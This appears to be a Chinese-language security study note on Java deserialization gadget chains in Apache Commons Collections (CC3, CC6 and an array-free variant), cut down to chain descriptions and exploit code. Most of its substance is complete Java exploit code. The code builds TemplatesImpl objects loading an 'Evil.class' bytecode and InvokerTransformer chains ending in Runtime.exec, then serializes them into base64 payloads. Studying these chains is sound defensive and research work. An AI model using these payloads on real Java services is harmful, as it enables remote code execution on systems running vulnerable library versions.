CommonsCollections3 Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。
调用链
AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() TemplatesImpl.newTransformer()
依赖版本
commons-collections : 3.1~3.2.1
jdk 8u71以下
cc3 为了避免使用InvokerTransformer寻找了一个新类去调用 newTransformer()
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 这个类的构造函数中
TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了
TemplatesImpl的构造链是java自带的一个类他可以调用defineClass方法去加载任意字节码并且在getTransletInstance() 方法中使用 newInstance() 实例化,这样就可以调用字节码中的构造函数或静态代码块。
但是这个类对于加载的类有要求,要求其父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet这点很重要,一定要记得设置父类。
那么现在就需要再找一个类去触发TrAXFilter 的构造函数,这里用到了Transformer:InstantiateTransformer,他可以通过反射去创建类示例并触发其构造函数,然后再用cc1的前半段去让整个链子串起来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 InputStream inputStream = Test.class.getResourceAsStream("Evil.class" ); byte [] bytes = new byte [inputStream.available()]; inputStream.read(bytes); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{bytes}); Field clasa = TemplatesImpl.class.getDeclaredField("_class" ); clasa.setAccessible(true ); clasa.set(tmpl, null ); Field name = TemplatesImpl.class.getDeclaredField("_name" ); name.setAccessible(true ); name.set(tmpl, "Pupi1" ); ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl}) }); Map lazyMap = LazyMap.decorate(new HashMap(), chain); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy); String s = Tools.base64Encode(Tools.serialize(invocationHandler)); System.out.println(s); Tools.deserialize(Tools.base64Decode(s));
这里因为也使用了cc1的前端,所以受AnnotationInvocationHandler这个类改动的影响
那么是否存在一个方法可以代替这个类扩宽我们的攻击面呢,所以就出现了cc6这条链子
CommonsCollections6 调用链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
基本可以通杀jdk7,8
其实要解决高版本的问题也就是要找到其他他调用LazyMap#get() 的地方
这里大师傅们找到了类 org.apache.commons.collections.keyvalue.TiedMapEntry 在其getValue方法
中调用了 this.map.get ,其hashCode调用了getValue方法
通过这里就可以去触发lazymap的get方法,所以现在就找那里可以触发TiedMapEntry#hashCode,这里是发现的在 java.util.HashMap#readObject 中可以触发hashCode
这里传入key对象,就可以触发key的hashCode方法
在ysoserial中是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key)
最后到 TiedMapEntry#hashCode() 。我这里跟进p神的简化链直接编写exp了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Transformer[] chain = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; Map innerMap = new HashMap(); Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1 )}; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey" ); Map expMap = new HashMap(); expMap.put(tme, "valuevalue" ); outerMap.clear(); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, chain); String s = Tools.base64Encode(Tools.serialize(expMap)); Tools.deserialize(Tools.base64Decode(s));
这里cc6的利用链也完成了
然后自己根据cc6去改了下cc3让他可以通杀java7,8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 InputStream inputStream = Test.class.getResourceAsStream("Evil.class" ); byte [] bytes = new byte [inputStream.available()];inputStream.read(bytes); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{bytes}); Field clasa = TemplatesImpl.class.getDeclaredField("_class" ); clasa.setAccessible(true ); clasa.set(tmpl, null ); Field name = TemplatesImpl.class.getDeclaredField("_name" ); name.setAccessible(true ); name.set(tmpl, "Pupi1" ); Transformer[] chain = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl}) }; Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1 )}; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map outerMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey" ); Map expMap = new HashMap(); expMap.put(tme, "valuevalue" ); outerMap.clear(); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, chain); String s = Tools.base64Encode(Tools.serialize(expMap)); Tools.deserialize(Tools.base64Decode(s));
无数组构造 在有次比赛中有提到无数组的反序列化链构造,这也是因为有tomcat内部对类处理有问题所以延伸出的问题。
我们的payload都有用到 Transformer数组,这里可以是过不了的,所以我们这里通过 TemplatesImpl 去构造不含数组的exp
主要的知识点也就是
这里key会直接进入transform的参数中这样我们就不需要在
这里面的第一句,只用第2句调用方法,这样也就不需要数组的形式了。然后这里的key也就是我们在这传入的key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 InputStream inputStream = Test.class.getResourceAsStream("Evil.class" ); byte [] bytes = new byte [inputStream.available()]; inputStream.read(bytes); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{bytes}); Field clasa = TemplatesImpl.class.getDeclaredField("_class" ); clasa.setAccessible(true ); clasa.set(tmpl, null ); Field name = TemplatesImpl.class.getDeclaredField("_name" ); name.setAccessible(true ); name.set(tmpl, "Pupi1" ); Transformer chain = new InvokerTransformer("getClass" , null , null ); Map outerMap = LazyMap.decorate(new HashMap(), chain); TiedMapEntry tme = new TiedMapEntry(outerMap, tmpl); Map expMap = new HashMap(); expMap.put(tme, "valuevalue" ); outerMap.clear(); Field f = InvokerTransformer.class.getDeclaredField("iMethodName" ); f.setAccessible(true ); f.set(chain, "newTransformer" ); String s = Tools.base64Encode(Tools.serialize(expMap)); Tools.deserialize(Tools.base64Decode(s));
参考链接 java安全漫谈
https://su18.org/post/ysoserial-su18-2/